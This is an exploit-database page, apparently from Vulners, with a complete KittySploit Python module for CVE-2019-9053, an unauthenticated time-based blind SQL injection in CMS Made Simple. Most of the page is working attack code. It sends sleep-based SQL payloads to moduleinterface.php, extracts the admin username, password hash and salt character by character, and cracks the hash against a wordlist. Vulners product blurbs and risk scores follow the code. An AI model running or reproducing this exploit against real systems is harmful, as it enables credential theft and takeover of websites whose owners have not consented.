CMS Made Simple CVE-2019-9053 time-based SQLi
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""CMS Made Simple CVE-2019-9053 unauthenticated time-based SQLi."""
from __future__ import annotations
import hashlib
import time
from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client, Handler):
__info__ = {'name': 'CMS Made Simple CVE-2019-9053 time-based SQLi', 'description': 'CVE-2019-9053 (CMSMS <= 2.2.9): unauthenticated time-based blind SQLi in moduleinterface.php News m1_idlist extracts admin hash.', 'author': ['KittySploit Team'], 'cve': ['CVE-2019-9053'], 'platform': Platform.PHP, 'arch': [Arch.CMD], 'payload': {'default': 'nopayload'}, 'references': ['https://nvd.nist.gov/vuln/detail/CVE-2019-9053', 'https://github.com/dinosn/exploit-watch-archive'], 'tags': ['cmsms', 'sqli', 'unauth', 'time-based', 'cve-2019-9053'], 'agent': {'risk': 'intrusive', 'effects': ['credential_access', 'data_exfiltration'], 'expected_requests': 500, 'reversible': True, 'approval_required': True, 'produces': ['password_hash', 'username'], 'chain': {'suggested_followups': ['scanner/http/cms_made_simple_cve_2019_9053_detect']}}}
_CHARS = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
cms_path = OptString('', 'CMS subdirectory (empty = root)', required=False)
time_delay = OptInt(1, 'Sleep seconds for time oracle', required=False)
wordlist = OptString('', 'Optional wordlist to crack extracted hash', required=False)
extract_creds = OptBool(True, 'Extract admin username/password hash', required=False)
def _vuln_url(self) -> str:
prefix = str(self.cms_path or '').strip().rstrip('/')
base = f'{prefix}/moduleinterface.php' if prefix else '/moduleinterface.php'
return base + '?mact=News,m1_,default,0'
def _timed(self, payload_suffix: str) -> float:
url = self._vuln_url() + '&m1_idlist=' + payload_suffix
start = time.time()
self.http_request('GET', url)
return time.time() - start
def _extract_salt(self) -> str:
delay = int(self.time_delay or 1)
salt = ''
ord_hex = ''
while True:
found = False
for ch in self._CHARS:
trial = ord_hex + hex(ord(ch))[2:]
payload = f'a,b,1,5))+and+(select+sleep({delay})+from+cms_siteprefs+where+sitepref_value+like+0x{trial}25+and+sitepref_name+like+0x736974656d61736b)+--+'
if self._timed(payload) >= delay:
salt += ch
ord_hex = trial
found = True
print_status(f'salt: {salt}')
break
if not found:
break
return salt
def _extract_field(self, column: str) -> str:
delay = int(self.time_delay or 1)
value = ''
ord_hex = ''
while True:
found = False
for ch in self._CHARS:
trial = ord_hex + hex(ord(ch))[2:]
payload = f'a,b,1,5))+and+(select+sleep({delay})+from+cms_users+where+{column}+like+0x{trial}25+and+user_id+like+0x31)+--+'
if self._timed(payload) >= delay:
value += ch
ord_hex = trial
found = True
print_status(f'{column}: {value}')
break
if not found:
break
return value
def check(self):
delay = int(self.time_delay or 1)
base = self._timed('a,b,1,5)')
slow = self._timed(f'a,b,1,5))+and+(select+sleep({delay}))+--+')
if slow >= base + delay * 0.8:
return {'vulnerable': True, 'reason': 'Time-based SQLi confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'No timing delta', 'confidence': 'medium'}
def _crack(self, password_hash: str, salt: str) -> str:
wl = str(self.wordlist or '').strip()
if not wl:
return ''
try:
with open(wl, encoding='utf-8', errors='ignore') as fh:
for line in fh:
cand = line.strip()
if not cand:
continue
if hashlib.md5((salt + cand).encode()).hexdigest() == password_hash:
return cand
except OSError:
pass
return ''
def run(self):
chk = self.check()
if not chk.get('vulnerable'):
print_error(chk.get('reason', 'Not vulnerable'))
self.not_vulnerable()
return False
print_status('CVE-2019-9053 — CMSMS time-based SQLi')
salt = self._extract_salt()
username = self._extract_field('username') if self.extract_creds else 'admin'
password_hash = self._extract_field('password') if self.extract_creds else ''
print_success(f'user={username} hash={password_hash} salt={salt}')
cracked = self._crack(password_hash, salt) if password_hash and salt else ''
if cracked:
print_success(f'Password cracked: {cracked}')
return self.handler_http(self.session, additional_data={'cmsms_username': username, 'cmsms_password_hash': password_hash, 'cmsms_salt': salt, 'cmsms_password_plain': cracked or None})
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Oct 2026 13:35Current
7.7High risk
Vulners AI Score7.7
CVSS 26.8
CVSS 38.1
EPSS0.68581